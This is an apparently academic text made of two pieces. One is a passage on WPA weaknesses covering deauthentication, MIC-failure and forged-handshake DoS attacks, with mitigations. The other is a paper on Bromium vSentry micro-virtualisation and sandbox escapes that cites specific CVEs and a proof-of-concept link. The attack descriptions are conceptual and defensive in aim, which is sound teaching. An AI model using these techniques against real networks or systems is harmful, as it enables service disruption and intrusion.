client thereby forcing the client to disconnect as the client thinks 
that the deauthentication packet is from the access point. This can 
be done continuously on all the clients in a network, preventing 
the connection of clients to the access point, which is essentially a 
DoS attack [14]. DoS attack on WPA can be implemented based 
on the attribute of MIC. When an attacker deliberately makes two 
consecutive  failure  of  MIC  checks,  the  access  point  will  shut 
down all  TKIP  traffic.  If  this  is done  repeatedly on  the access 
point, it will be shut down continuously and effectively became a 
DoS attack.  All other hosts  connecting to the access point  will  
lose connection due to the MIC mechanism [10]. 

Another method to implement a DoS attack is by mass sending 
ICMP requests in bulk to the access point.  These requests may 
consist of ping requests which require the access point to reply. 
The large number of request to the access point will cause it to 
crash, thus terminating services to other hosts [5].       

DoS attack is also done through the four-way handshake of the 
WPA network. A four-way handshake message flow is illustrated 
in  figure  5  above.  When  a  new client  connects  to  the  access 
points,  the four-way handshake will be triggered to authenticate 
the client. During the handshake, an attacker can send a forged 
first message to the client which will change the ANonce and PTK 
values in the client as seen in figure 6 below. The ANonce and 
PTK values are used to calculate the correct MIC value so that it 
can be verified with the value sent by the access point. If these  
values are altered, the resulting MIC value will be incorrect and 
will result in the deauthentication of the client. Thus, a DoS attack 
is achieved by the attacker [8].

Figure 5: The 4-way handshake messages.
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2.6

2.7 Prevention and Solution Attacks
2.5.1 Solution for Dictionary Attack
The root cause for the success of dictionary attack is the usage of 
weak passphrase for a network. The default length of passphrase 
for WPA-PSK is 8 characters long. The length of this passphrase 
can be increased to 14 characters or more so that the time required 
for  the  attack  is  increased.  The  choice  of  passphrase  is 
recommended  to  have  alphanumeric  characters  which  are  not 
words or phrases in dictionaries. The passphrase can also contain 
mnemonics of a sentence so that it is easy for users to remember 
but difficult for the attacker to crack.

2.5.2 Solution for Beck-Tews Attack
The Beck-Tews Attack on TKIP can be prevented by replacing it 
with  another  encryption  algorithm,  AES-CCMP,  which  has  a 
stronger encryption scheme and is more difficult  to be cracked. 
However, the implementation of AES-CCMP on routers required 
a  hardware  upgrade,  which  is  not  applicable  to  many existing 
routers that do not support this option. 

For routers which do not support AES, Motorola Solutions have 
provided some solutions to prevent the TKIP attack. One of the 
prevention is to enable TKIP key rotation in the routers. Beck-
Tews attack is based on the cracking of the keystream which can 
determine one byte of plaintext from the captured packet in one 
minute. If TKIP key rotation is enabled and is set to rotate keys in  
less than one minute, it will increase the difficulty for the attacker 
to perform a Beck-Tews attack [12]. 

On  the  other  hand,  Beck-Tews  attack  is  performed  on  QoS 
channels because of the low count of sequence counter in these 
channels.  If  QoS  channels  are  not  used  in  a  network,  it  is 
recommended to disable them so that the injection of a malicious 
TKIP frame cannot be done in these channels. They will also be 
discarded  in  normal  channels  when  detected  by  the  sequence 
counter there [12].

2.5.3 Solution for Dos Attack

One  of  the  solutions  suggested  by  Rango  in  the  Journal  on 
Wireless Communications and Networking, is targeted to prevent 
the DoS attack on the four-way handshake. The solution’s main 
idea is to prevent the correct PTK value from being altered by the 
forged message 1 sent  by an attacker.  Upon receiving the first 
message 1 from the access point, the client performs calculation 
necessary for the next transmission of message, but do not store 
the PTK value.  When a forged message 1  is  received  from an 
attacker, calculations will also be performed but the wrong PTK 
value calculated will not be stored as well. The PTK value will  
only be recalculated again during the receipt of message 3 from 
the access point. This will be able to ensure that the PTK value is 
correct and it will be able to verify the MIC values correctly with  
the  access  point,  thus  preventing  a  DoS  attack  [8].  This 
prevention method is illustrated in figure 7 above.

2.5.4 Other Mitigations
Below are some of the steps listed by United States Computer 
Emergency Readiness Team to increase the security of the home 
routers  and  reduce  the  vulnerability  of  the  internal  network 
against attacks from external sources [9].

 Change the default login username and password : All 
the routers comes with a default username and password 
to  allow  the  user  to  configure  them.  These  default 
usernames  and  passwords  are  readily  available  in 
different publications and are well known to attackers. 
The users are also advised to change passwords every 
30 to 90 days.

 Limit WLAN coverage. Choose the proper antenna that 
covers only the area needed.

 Update firmware of the router as many of the updates 
addresses the security vulnerability that could affect the 
network.

 Configure  WPA2-AES if  the  router  supports  it  as  it 
provides added security as compared to WPA.

 Disable unnecessary services in order to reduce routers 
exposure.

Figure 6: DoS attack in 4-way handshake phase.

Figure 7: Prevention to DoS Attack on 4-way shake
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 Disable  ping  response  as  enabling  it  will  allow  the 
router  to  respond  to  ping  commands  issued  from the 
internet and potentially exposes the router to intruders.

 Enable router firewall so that only authorized users and 
services  can  access  to  the  network.  However  firewall 
built  in  to  the router  does  not  prevent  wireless  users 
within  the  range  of  the  wireless  network  from 
connecting to it.

 Disable bridging and use network address translation 
(NAT): Home routers separate the internal network 
from the internet using network address translation 
(NAT). NAT provides private IP addresses for all the 
devices on your network. It is not directly accessible 
from the internet, nor can discovery of the network’s 
internal addresses be accomplished easily. The IP 
address of the external interface of the router conceals 
the devices on your network that are behind it. This 
adds an additional layer of security.

3. CONCLUSIONS
In this paper, we have explained the structure and weakness of 
WPA. We also have touched on the hardware of home router and 
its  limitation.  WPA  may  be  introduced  to  replace  the  highly 
vulnerable WEP, but WPA itself is not well secured as it uses the 
same encryption mechanism so that it is still compatible for legacy 
routers  which  are  not  applicable  for  a  hardware  upgrade.  The 
introduction of the TKIP with MIC code for integrity check may 
seem sufficient in increasing the security of WPA. However, it is 
the MIC code that makes WPA vulnerable to certain attacks such 
as a DoS attack. The prevention scheme, performed by MIC code 
when  two  consecutive  MIC  failures  had  occurred,  is  also  not 
strong enough to prevent an attack for the keystream.

Secondly,  we have discussed  the  type  of  attacks  on  WPA and 
some  methods  to  prevent  them.  Next  we  have  introduced  the 
future of WPA which is WPA2 and its difference with reference 
to WPA. WPA may not be a well designed protocol  to replace 
WEP, but it has revealed several vulnerabilities that can appear in  
designing a network security protocol. These vulnerabilities have 
provided more knowledge and increased the thoughtfulness of the 
designers to design a more secured security protocol, WPA2. The 
flawed  mechanism  of  TKIP  is  replaced  with  the  more  secure 
algorithm of AES-CCMP which requires a hardware change in the 
router. This is why many small companies and home users did not 
upgrade to WPA2 as cost and inconvenient is a factor. 
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ABSTRACT 
This paper explores the technology used in Bromium and the 

feasibility of replacing current security software or technology. 
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1. INTRODUCTION 
Bromium vSentry is a security micro-visor concept built to protect 

enterprise systems from unknown attacks. The micro-visor named 

Bromium Micro-visor, is similar to a master controller for micro 

virtual machines (micro-VM), to run tasks invoked by the 

operating system. These micro-VMs will isolate individual 

untrusted task. Tasks that are executed in the micro-VM will 

neither have access to networks nor have permissions to modify 

system files. As vSentry does not depend on signature-based 

detections, it protects users from unintentional action such as 

opening a malicious email attachment, etc. 

1.1 Aim of the program 
The aim of the program is to have both productivity and security 

on the enterprise system. For example, the employees of any 

enterprise will want easy access into their company system from 

within any location, thus increasing work productivity and 

convenience. Such ease of access may cause violation in the 

enterprise’s security policy. Hence, the security software provided 

by Bromium such as vSentry, is able to implement endpoint 

security for a company’s system even though the company may 

allow its employees to access the system using any platform from 

any location.  

With technological improvements, there exist many client devices 

such as mobile phones or tablets that allow users to access 

information from the “clouds”. With the proliferation of different 

types of client devices in the market, there are bound to be many 

variants of operating systems software with distinct versions for 

specific devices. These technological advances have indeed made 

our lives more convenient but at the cost of security. Companies 

are having a hard time trying to ensure each individual OS that an 

employee used is updated with the latest patches. Thus, security 

professionals turn to access control to limit the damage an 

individual user can do to the enterprise system. This approach is 

not viable because employees have to have a least restricted 

access to the system in order to cooperate efficiently with one 

another across different departments.  

1.2 Challenges for today’s anti-virus software 
Today, anti-virus applications protect end-point systems through 

the detection of virus signatures. According to McAfee, there are 

around 100,000 variants of malware each day [10]. It is estimated 

that an anti-virus vendor has to deliver around one million virus-

signatures to end-point systems every month. Other than the 

amount of signatures to be delivered, security vendors also faced 

space challenges imposed by the ever-increasing size of 

signatures. Currently, the approaches used by security vendors are 

either to increase the number of false positives or to delay 

detection until the systems are compromised in order to detect the 

first indication of an attack. 

2. BROMIUM APPROACHES: PROTECT 

FIRST AND IN DEPTH DEFENSE 
Bromium’s first priority is to protect end-point systems. In order 

to achieve the “protect first” methodology, Bromium employs 

virtualization technology with vSentry. vSentry is built on a 

Bromium Micro-visor with Xen, an open source virtualization 

technology. These technologies are utilized by Bromium to isolate 

each task invoked by the operating system. In such a way, every 

task is enclosed within its own environment, ensuring either the 

damages done by any compromised task is contained or the 

severity of the damages done to the system by any malware is 

reduced.  

Henceforth, employees can access any useful document for their 

work and not be worried if the source is safe. Consecutively, this 

will provide employees with a more productive environment and 

secure access to many materials without breaching the security of 

the system.  

In order to achieve such level of protection, vSentry cannot rely 

on signature based detection as signature detection technique is 

efficient vis-à-vis the size of the database containing the 

signatures. Thus, vSentry will not be able to achieve its “protect 

first” methodology through signature-based detection. Hence, 

virtualization technology is used to implement hardware-isolation 

to protect the system. Meanwhile, any suspected malware is 

allowed to execute so that Bromium security teams can achieve 

defense in depth by analyzing the unknown malware. 

More details on how the vSentry and virtualization technology 

cooperate to achieve the “protect first” methodology and how 

Bromium analyses the unknown malware while the malware is 

being executed from within the micro-VM will be covered in the 

later sections. From the above brief overview, we can see that 
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Bromium has separated protection from detection. We feel that 

this is the first step to moving away from a legacy signature-based 

detection that will enhance and “future proof” the security of an 

end-point system.  

Below is an image taken from Bromium’s research paper to give 

an overview of vSentry. 

 

 

Figure 1: Overview of the vSentry and Micro-visor [1] 

3. FEATURES OF BROMIUM 

3.1 Overview 
Users often click on unsuspecting links or download programs off 

the Internet, leaving them susceptible to malicious code or 

viruses. In order to deal with such attacks, Bromium spawns a 

micro-VM, and the resource that is allocated to the virtual 

machine is on a need-to-know basis (required resources only). 

If there is an attack in the micro-VM, Bromium can isolate the 

attack from CPU, memory, storage, device access and network 

access. Once any task has completed, the micro-VM destroys the 

malware before it can reach to any other parts of the operating 

system.  

Bromium also has another feature in which security teams can 

analyze the virus/malware attacks, thereby creating patches for all 

connected devices in the network and prevent the attacks from 

further penetrating into other regions. 

3.2 Micro virtualization 
vSentry employs the Bromium Micro-visor to isolate and protect 

Windows from viruses or any other harmful activities that would 

attempt to modify the system files. A micro-VM will be spawned 

automatically whenever an application is launched, the launched 

application is now contained within the micro-VM. In this way, 

micro virtualization reduces the chances of other files from getting 

infected by the malicious code.   

Each spawned micro-VM is lightweight and will not compete 

with the launched application for resources. This guarantees the 

application has sufficient resources to operate as per normal. 

Moreover, a lightweight micro-VM will provide users with the 

same experience as though they are using a computer without 

vSentry in contrast to a virtual machine monitor like VMWare. 

(Users tend to wait a little longer than usual for an application to 

run under virtual machines). [1] 

3.3  “Copy on Write” Execution 
Whenever the user launches an application, a micro-VM will 

spawn1 and copy the essential files needed for the application. 

Any changes made in the micro-VM will be cached locally within 

the micro-VM. After the application has completed its tasks, the 

micro-VM simply discards all the modifications made along with 

any malware. No changes will be made to the actual files on 

Windows. This provides isolation and protects the system files 

from being maliciously changed. [1] 

 

Figure 2: Overview of how the actual Windows being isolated 

from changes being made by the malware [1] 

3.4 File system isolation 
Every micro-VM has a file system which contains the specific 

ideal files needed for a session. Each file system is protected from 

any modification by the “copy on write” cache mechanism that 

discards system files’ modifications on exit. However this does 

not restrict the user to save the files that they want. 

A policy is embedded in every micro-VM that specifies the files 

that can be saved or accessed. For example, surfing the Internet 

will only allow changes to the browser’s cookie and DOM 2 

storage. Any files that the user wants to save will be tagged as 

untrusted by the Micro-visor.  

Furthermore the Bromium Micro-visor ensures that any attempt to 

access the untrusted files can only be made from another untrusted 

micro-VM. Using an untrusted micro-VM to access the file, the 

file will not reside on the host desktop, thus, preventing the host 

desktop from any malicious execution of that file. 

In the case where a user decides to access additional files located 

beyond the micro-VM3, the Micro-visor will search for the files 

that are marked as trusted or untrusted which depends on the file 

properties and also on the implemented policy, validating and 

granting the access. This ensures the user experiences will not be 

affected. [1]  

3.5 File sharing security 
As most enterprises use CIFS/SAMBA 4 , vSentry offers two 

directives when managing data sharing security. [1] 

1) By defining trusted shares. IT personnel of the company 

can defined selected files to be trusted. Any files that are 

                                                                 

1 Refer: C1.1: One task, one micro-VM 

2  DOM, document object model are web application software 

methods and protocols used for storing data in a web browser. 

3 Refer: C1.2: Creating/saving a new file 

4 CIFS/SAMBA is a networking protocol that provides file and 

printing services by various Microsoft Windows Clients. 
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tagged trusted will be recognize as trusted unless 

vSentry has tagged it as untrusted. 

2) Any files that are not trusted by vSentry will be 

classified as untrusted, files that are from USB drives or 

external hard drives are classified as untrusted5.  

3.6 Network segmentation and isolation 
vSentry implements the “need-to-know” policy for network 

services by dividing the network into four categories (This can be 

configured by the IT security team or the users). [1] 

1) Untrusted: Internet access to all sites, sites that are not 

under this category will be considered as trusted.  

2) SaaS6 and cloud sites: Application and services used by 

the enterprise, and sites that are important to users. 

3) Enterprise intranet: The local area network of the 

enterprise. 

4) Nominated trusted sites: Sites that required access due 

to certain updates for the computers. For example, 

update.microsoft.com  

Other than the “need-to-know” policy, vSentry also incorporates 

firewall and policies to ensure the network of an enterprise is not 

compromised by attackers. By incorporating the four categories 

above, each micro-VM will abide by the policies and restrict the 

processes to certain regions of the network. 

Below is a set of default policies which can be overwritten by 

network administrators: [1] 

1) A task that does not require any network connectivity to 

perform its task will not have access to any network 

services. For example, viewing a file from a PDF 

reader.7 

2) A task that requires access to a trusted site with a valid 

certificate will be done outside of vSentry. For instance, 

Windows updates. 

3) A task that needs access to SaaS site can only 

communicate with that particular host and any 

subsidiary sites that are under that SaaS site. For 

example, a developer using Google App Engine8 may 

require access to other related services such as Google 

Cloud SQL for database purposes. 

3.7 Registry 
Sensitive registry entries such as SAM (Security Accounts 

Manager) entries are removed in a micro-VM. The registry entries 

that are in the micro-VM are namely those that are required by the 

applications to complete its tasks. [1]  

                                                                 

5Refer: C1.3 Untrusted and trusted files 

6 SaaS, known as Software as a service is a software delivery 

model in which software and associated data are centrally hosted 

on the cloud by independent software vendors. [23] 

7 Refer: C1.4: Internet cut-off 

8 Google App Engine is a Platform-as-a-Service, similar to a SaaS 

model [8]. 

3.8 Printing 
Files that are from USB devices are considered untrusted and 

thus, cannot be printed from any trusted network printers. 

However, vSentry can securely convert the file contents into 

trustable format, for instance, removing macros from Excel 

spreadsheets, and safely sent it to the network printer for 

scanning. [1]  

3.9 Clipboard 
Most malwares sits on the clipboard and other sharing mechanism 

to harvest for information. vSentry prevent this by: [1] 

1) vSentry’s IT policy manages the access to the clipboard. 

This is further enforced by Bromium Micro-visor. 

2) If clipboard access is granted by the vSentry’s policy: 

a. The user at the keyboard is the only vector 

that can activate the clipboard. Any other 

programs that requests for the clipboard will 

be blocked, thus, preventing clipboard 

hijacking. 

b. The clipboard can be shared either between 

individual micro-VMs or shared between an 

untrusted micro-VM and Windows. 

3) Sanitizing the copied contents before pasting onto the 

clipboard. 

3.10 Device isolation 
vSentry isolates all USB devices from interacting with the micro-

VM to prevent malware from taking advantage of these devices. 

Users can configured specific tasks to use the USB devices, for 

example, corporate voice-over-IP may require access to a 

webcam. [1] 

3.11 “Need-to-know” Methodology 
When a micro-VM is created, vSentry will applied the most 

restrictive but sufficient policy on the micro-VM with regards to 

the task being invoked. For instance, the task of executing iTunes 

on the computer. The micro-VM should only have access to 

relevant resources such as the audio device drivers, music 

playlists, music preferences, etc. It should not have access to non-

relevant resources such as printer driver and other crucial system 

information.  

If the micro-VM tries to request for a restricted resource, the 

request will be interrupted by Intel VT-x [4], the virtualization 

hardware behind Bromium Micro-visor, the CPU then hands 

control over to the Micro-visor which will in turn enforce the 

“need-to-know” policy and determine if the task really require the 

restricted resource it has requested. 

This “need-to-know” policy will thwart an attacker’s 

“opportunity” since the attacker is now unable to traverse further 

into the enterprise network. In addition, the attacker’s “methods” 

will be drained as the attacker has only a limited amount of 

resources to perform the attack. Lastly, the attacker’s “motive” 

will begin to diminish with the realization that the attacks do not 

have much adverse effect on the particular micro-VM. [1] 
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4. LAVA 

4.1 Overview 
LAVA also known as Live Attack Visualization and Analysis 

system, works in conjunction with vSentry by gathering 

information of malwares signatures and attacks from each micro-

VMs. Since vSentry allows malwares to execute within individual 

mirco-VMs, LAVA is able to perform an analysis of the attack 

and alert the IT security personnel. [5] 

4.2 How it works? 
1) User initiates a task, and a micro-VM is spawned to host 

the task. 

2) At this point, LAVA analytics will monitor and record 

all events of the micro-VM. 

3) After the user finishes the task, the micro-VM will be 

destroyed and LAVA will analyze the behavior that it 

has just logged down.  

4) LAVA does this by comparing it with a database of 

legitimate or typical behaviors. 

a. The log created will be sent to a correlation 

engine which uses advance heuristic 

algorithms 9  to determine whether it is a 

malicious behavior. 

b. If the result is determined to be a malicious 

behavior, an alert is generated and the 

administrator is notified. 

c. If the result is not a malicious behavior, the 

log file will either be deleted or sent to the 

database as a reference for whitelisting. This 

can be configured by the IT security personnel 

of the company. 

 

Figure 3: Overview of how LAVA works [5] 

4.3 LAVA analytics  
As mentioned above, LAVA uses an analytics to monitors and 

records all events of the micro-VM. 

                                                                 

9 A heuristic is a technique designed for solving a problem more 

quickly or finding an approximate solution. This is achieved by 

trading optimality, completeness, accuracy, or precision for speed. 

[9] 

The followings are different aspects of the behaviors that the 

LAVA monitors and analyzes against a database of “normal” 

behaviors: [5] 

1) CPU: Events that are generated by rootkits attempting 

to manipulate the CPU hardware register. LAVA 

monitors this type of activity by introspection via 

Bromium Micro-visor.  

a. Advanced rootkits normally evade detection 

by inserting themselves as an invisible layer 

between the operating system and device 

drivers. With Bromium Micro-visor, these 

rootkits which attempt to hide itself have 

actually inserted themselves into the layer of 

the Micro-visor. Since, these rootkits are now 

trapped within the Micro-visor, LAVA is able 

to detect them. 

2) File System: All modifications to files on the micro-VM 

are tracked. 

3) Network: All network connections are monitored within 

the micro-VM, especially outbound communications. 

4) Processes: All processes in the micro-VM are logged 

(The process ID, other child processes which it may 

invoked, etc.). Different types of system process 

manipulations are tracked and displayed in the LAVA 

console. 

5) Registry: Every registry manipulation is logged and 

linked to the process that is manipulating the registry. 

a. Most registry changes are caused by malware 

to ensure they exist after each reboot. Hence, 

these kinds of changes are logged down as 

well. 

6) API 10 : LAVA uses the Windows API libraries to 

monitor most malware activity without the malware 

noticing it. 

7) Memory: Monitors any attempt to change the kernel 

memory by the malware within the micro-VM. 

8) Privilege: Monitors any activity that tries to change the 

security tokens of the micro-VM. 

a. Security tokens are tokens that contain the 

credentials for a login session which identifies 

the user, user’s group and user’s privileges. 

b. Malwares may attempt to change the access 

tokens in order to gain higher level of access 

into the system resources. 

4.4 Benefits of LAVA 

4.4.1 Strategic intelligence 
With the help of LAVA, security analysts can determine the goal 

of an attacker and have sufficient time to inform the organization 

that an attack is impending and the correct precautions to take. In 

addition, having realization of the goal and attack raises the 

                                                                 

10  Windows API, allows programmers to access the Windows 

resources such as files, processes, network, registry and most 

major parts of Windows. [5] 
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security awareness of the organization, ensuring that similar future 

attacks can be averted. [5] 

4.4.2 Advanced visualization  
Tracking all the connections of the malware, LAVA can visually11 

linked up and displayed the entire process of an attack. In this 

way, security analysts will  be able to analyze the malware’s 

behavior and points of contacts much more efficiently as 

compared to traditional methods of tracing IP addresses and 

routing tables that the malware had left traces of. [5] 

5. FEASBILITY OF BROMIUM VSENTRY 
In the present day, there is a plethora of security solutions that 

offers multiple layers of defense, for instance, anti-virus capability 

coupled with anti-malware (Ad-Aware Desktop Security) [14], 

firewall with host intrusion detection/prevention (Comodo 

Endpoint Security Manager 3 Professional Edition) [6], for home 

and corporate end users. What capability does Bromium has 

which could not be replicated on other security suites?  

In addition, Bromium’s security-focused Micro-visor which 

isolates individual task is comparable to executing a new program 

within a sandbox environment. How then is Bromium different 

from traditional sandboxes? 

In the following sub sections, we will discuss the feasibility of 

Bromium’s concept starting with zero-day attacks, Windows-

based sandboxes and its weaknesses, before moving on to 

examine vSentry’s advantages, security and lastly, the 

performance impact of micro-virtualization. 

5.1 Zero-day attack 
A zero-day attack exploits newly discovered vulnerabilities on 

systems, in particularly applications, for instance, Microsoft 

PowerPoint or web browsers, and performs harmful actions such 

as installing backdoors or disrupting services. 

On February 11, 2014, FireEye, one of the leading network 

security company, identified a zero-day exploit which targeted 

Microsoft’s Internet Explorer 10. Through a vulnerability in the 

browser, an attacker could gain access into the memory address 

spaces and execute arbitrary code [13]. Eight days later, Microsoft 

released a fix and workaround on its Security TechCenter. Given 

eight days, it may be possible for the vulnerability to affect 

hundreds to thousands of computers if the attacker wishes to [17]. 

 

Figure 4: Timeline of zero-day attack [2] 

The above figure depicts a general timeline given an undiscovered 

vulnerability to deploying a patch to end users. In general, an anti-

                                                                 

11 Refer: C3: Live attack visualization and analysis (LAVA) 

virus or intrusion detection application is not able to identify zero-

day attacks as the details of those vulnerabilities that are being 

exploited are unavailable anywhere with the exception to the 

attackers or “underground forums” [2]. 

Detection-based applications relied on signature-based detections 

by analyzing on-going abnormal behavior with the application’s 

database of signatures. Thus, from the period a vulnerability is 

disclosed, security vendors require substantial time to develop a 

signature which could detect the new exploit. Even if a patch has 

been developed, end users often delayed patching their systems 

unless necessary. Such a time gap presents a growing challenge 

for security vendors and professionals in responding to zero-day 

attacks. With the proliferation of social media platforms, attackers 

are eyeing end users as easy hit boards. Therefore, there is an 

impending call for another layer of mechanism to withstand zero-

day attacks.   

5.2 Sandbox: a secured container? 
A sandbox provides a virtual environment for executing 

applications, particularly untrusted applications; examples include 

Sandboxie and SELinux’s sandbox command (security enhanced 

Linux kernel). Generally, sandboxes can be categorized into two 

distinct architectures, OS enhancement and Master/Slave.
12

 [27] 

Software-based sandboxes belong to the former architecture and 

are more commonly found than the Master/Slave, and also leave 

themselves more opened to kernel exploitations. Hence, we shall 

direct our focus to OS enhancement types. 

5.2.1 Kernel and user modes 
Before dwelling into sandboxes, it is necessary to understand 

some concepts of operating systems architecture. CPU chipset 

developers commonly designed several layers/rings/privilege 

levels that allow the operating system to handle system calls for 

hardware resources. 

 

Figure 5: Pentium Privilege Levels [24] 

The privileges levels can be divided into two or more depending 

on the CPU architecture, for instance, the Intel Pentium has four 

levels [24]. A lower privilege level (0) means that the particular 

layer has authority to access kernel resources such as I/O calls. 

The main purpose of having multiple levels as opposed to a single 

                                                                 

12 In Master/Slave architecture, a sandboxed application has two 

separate processes, the Master and the Slave. The Slave process 

is given low privileges and thus, has to communicate with the 

Master (which has higher privilege), which will then perform 

the particular operation on behalf of the Slave. Both Google 

Chrome and Adobe Reader XI 11.03 conform to such 

architecture. [26] 
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all-components-in-one layer is to prevent a single point of failure. 

For instance, a poorly-designed application will only affect its 

own layer and terminate in the event of unexpected errors without 

crashing the entire operating system and resulting in a reboot. 

Hence, an operating system runs most of the user applications 

(games, documents) in user mode or sometimes known as 

protected mode to protect itself and other sub components. 

Consider the scenario of a user attempting to print a web page 

from a browser. The browser which is in user mode, cannot 

directly access the printer’s driver which is in kernel mode. So, 

the browser must send a request to a shared library which will 

then translate the request into an actual system call (kernel mode). 

At this point, the CPU will validate the system call and translate it 

to machine instructions to access the printer’s driver for spooling, 

printing etc.  

5.2.2 OS enhancement based sandbox 
OS enhancement based sandboxes utilize a custom kernel driver 

which communicates with the Windows kernel to manage 

resource access. For instance, a sandboxed application might be 

restricted to only interactions with other sandboxed applications, 

thus, creating a boundary between sandboxed and non-sandboxed 

applications and protecting the “main desktop”. 

A typical execution flow starts from the sandboxed application 

requesting for a system call, e.g. to read a file. This request is 

subsequently sent to the sandbox kernel driver which is installed 

during the installation of Sandboxie. Finally, the custom kernel 

driver will authorize the request if the request was indeed from a 

sandboxed application [12][26].
13

 

At first glance, the architecture seemed to be a perfect solution to 

restrict potential malicious files from accessing and harming any 

kernel resources. However, taking further considerations divulge 

certain weaknesses; a sandboxed application is granted access to 

most of the kernel resources once authorized by the custom kernel 

driver. Consider the scenario if an attacker manages to hijack a 

sandbox application and executes arbitrary code while in kernel 

mode, the attacker could potentially exploit the kernel’s 

vulnerabilities and escalate privileges to escape “out of the box” 

[26][27].  

5.2.3 Escaping out of the box 

At the annual BlackHat
14

 Europe 2013, Rafal Wojtczuk and 

Rahul Kashyap demonstrated several ways to bypass sandboxed 

environments by exploiting vulnerabilities in the operating system 

kernel and also sandbox leakages [26][27].  

The following sub sections are referenced from their research to 

show the viability of escaping out of the box [26].  

5.2.3.1 Escape 1: buffer overflow 
A command prompt which is executed from within Sandboxie 

4.04 installed on a x86_64 Windows SP1 kernel is subjected to a 

                                                                 

13  Refer: Appendix A: sandboxie architecture. The Sandboxie 

architecture was retrieved from another unrelated website dated 

2011, current version of Sandboxie 4.08 may differ [12].  

14  Black Hat is a global security event in which professionals 

share their researches and exploits in the realm of information 

security.  

buffer overflow attack that allows an attacker to gain system rights 

in a user mode process.15 

5.2.3.2 Escape 2: communicate with higher -

integrity process 
By exploiting a vulnerability in a Windows subsystem, an attacker 

is able craft a special application that could transmit messages to a 

higher –integrity process [18]. A keystroke injection was executed 

within Sandboxie to a non-sandboxed application; an attacker 

could thus execute arbitrary codes on the main machine by 

sending commands from within Sandboxie.16 

5.2.3.3 Escape 3: sandbox leakages 
Additionally to the aforementioned exploits, Rafal and Rahul also 

proved that sandboxes environment do not necessarily restrict 

access of resources. For instance, they were able to take control of 

a web camera, capture user entered information through key-

logging and stealing clipboards.[26] 

5.3 Advantages of Bromium Micro-visor 
Although sandboxes provide end users with a sufficient enclosed 

boundary to run untrusted files, they are not totally impenetrable 

as demonstrated by Rafal and Rahul. Furthermore, sandboxes do 

not utilize the “principles of least privileges”. An attacker who is 

able to hijack a sandboxed session may gain access to other files 

and applications.  

 

Figure 6: Bromium Micro-visor Architecture [5] 

In contrast, the Bromium Micro-visor isolates individual 

processes and implements a “dynamic least privilege”. This 

“dynamic least privilege” or “need-to-know” is further enforced 

by Intel VT-x virtualization technology. For instance, if an 

attacker manages to launch a command prompt within a malicious 

file, the attacker would not have network access and his view will 

                                                                 

15 Refer: B1: Buffer overflow on Sandboxie 

16 Refer: B2: Keystroke injection 
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differ greatly from the actual desktop as he will be trapped within 

the micro-VM.17 

Coupled with LAVA, the Bromium Micro-visor can detect 

advanced rootkits that attempts to evade detection by 

masquerading itself between the operating system and the device 

drivers layers through introspection. As it is located externally in 

a strategic position, the Micro-visor can monitor all processes’ 

behaviors within a micro-VM, and in turn spot these rootkits. [1]  

5.4 Security assessment: Is the micro-VM 

truly secured? 
Every new task will generate a brand new micro-VM, and 

similarly destroyed when a task has finished its execution lifetime. 

However, are there possibilities of files residues and a revival of 

any malicious content after the deletion of a micro-VM? Is the 

micro-VM truly armored against attacks? To answer such 

questions, the NSS Labs had performed a security evaluation on 

Bromium vSentry v1.1.0.356. The evaluation was conducted on 

the Windows 7 Enterprise 64 Bit platform with several vulnerable 

applications such as Adobe Flash Player 10.3.183.10 and Java 

Run time Environment 6 Update 18. 334 exploits of different 

types (embedded, drive-by and custom exploits) were tested and 

all were isolated by vSentry without leaving any traces on the 

system [20]. Thus, Bromium vSentry provides a well bounded 

environment for end users. 

5.5 Performance of micro-virtualization 
Similar to the security assessment, the NSS Labs had conducted a 

performance evaluation test on Bromium vSentry v1.1.0.356 on a 

ASUS Ultrabook (Model No: K53E-1BSX), Intel(R) Core™ i5-

2450m CPU @2.50 GHZ 2.50 GHZ with 4GB of memory. Some 

of the tests include impact on boot time and memory. It was 

revealed that with Bromium vSentry, a system will require 22% 

additional time to boot up and 16.3% more memory utilization, 

which roughly amounts to 667MB of memory on a 4GB system, 

to handle vSentry [20]. In addition to the NSS Labs tests, 

Bromium demonstrated the efficiency of vSentry during the New 

York Information Security Meetup 2013, by rendering from eight 

to 32 micro-VMs simultaneously while consuming an estimate of 

1.7GB of memory between the transitions 18 . Therefore, the 

performance impacts are considerably low considering business 

enterprise systems as the target consumers for Bromium vSentry. 

6. CONCLUSION 
Bromium’s vSentry defeats undiscovered attacks through a novel 

security-focused virtual machine concept for end point systems. 

We feel that it is an efficient approach in defending IT system 

because it is unlike conventional signature-based detection which 

is dependable on the size of the database. In addition, the 

vSentry’s concept reduces the cost and inefficiency of having an 

IT security team to ensure all the software in the enterprise system 

is up-to-date. The “protect first” approaches gives employees the 

confidence of accessing any useful information which may be 

unsafe. Other than the good design approaches, Bromium also 

achieve the “defense in depth” principle by allowing security 

analysts to assess any attacks that are executed in the mirco-VMs 

                                                                 

17 Refer: C1.4: Internet cut-off 

18 Refer: C2: Impact of micro-VM 

and allow the analysts to response to the attack at the shortest 

timeframe. Other than the two design principles, Bromium is also 

lightweight in its resources but heavy-duty in its defenses as 

reported by NSS Labs test [20]. In our opinion, Bromium has not 

only created a robust security system but also improved the 

security of IT system as a whole in the “white hat” community 

against zero-day attacks. Imagine a world with enterprises all 

implemented with the Bromium’s system, the security teams in all 

the enterprises will now be able to effectively detect and inspect 

new attacks every day without the fear of being compromised. 

Thus, the detection rate of attacks around the world will be much 

higher than what today’s security firms are able to achieve. Hence, 

the “white hat” community will be better equipped against the 

“black hat” community. 
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APPENDIX 

Appendix A: sandboxie architecture 

 

Figure A- 1: Sandboxie Architecture [12][26] 

The architecture diagram above may also apply to other OS enhancement based sandboxes with slight adjustments. From the diagram, it is 

easy to observe that the sandbox kernel driver has the most access to kernel resources. Hence, any kernel vulnerabilities will also indirectly 

affect the custom kernel driver.  
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Appendix B: referenced screenshots 
The following sub sections contain screenshots referenced from other researchers’ works. The purpose is to demonstrate the existence of 

certain exploits or products and therefore do not represent the work of the three authors of this paper. 

B1: Buffer overflow on Sandboxie 

 

Figure B- 1: Gaining NT SYSTEM privileges on Sandboxie [26] 

The vulnerability being exploited here is CVE-2012-0217 which affects Windows x64, in particular the Intel/x64 SYSRET instruction. The 

exploit causes an invalid memory address to be returned, granting the attacker NT SYSTEM privileges [7]. Rafal Wojtczuk and Rahul 

Kashyap adjusted the exploit for Sandboxie environment. A proof of the original concept for the exploit can be found on 

http://www.packetstormsecurity.com/files/115908. 
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B2: Keystroke injection 

 

Figure B- 2: A keystroke injection on the lower right green command prompt [26] 

 

The vulnerability being exploited here is CVE-2011-1967 that allows a lower –integrity process to communicate with a high –integrity 

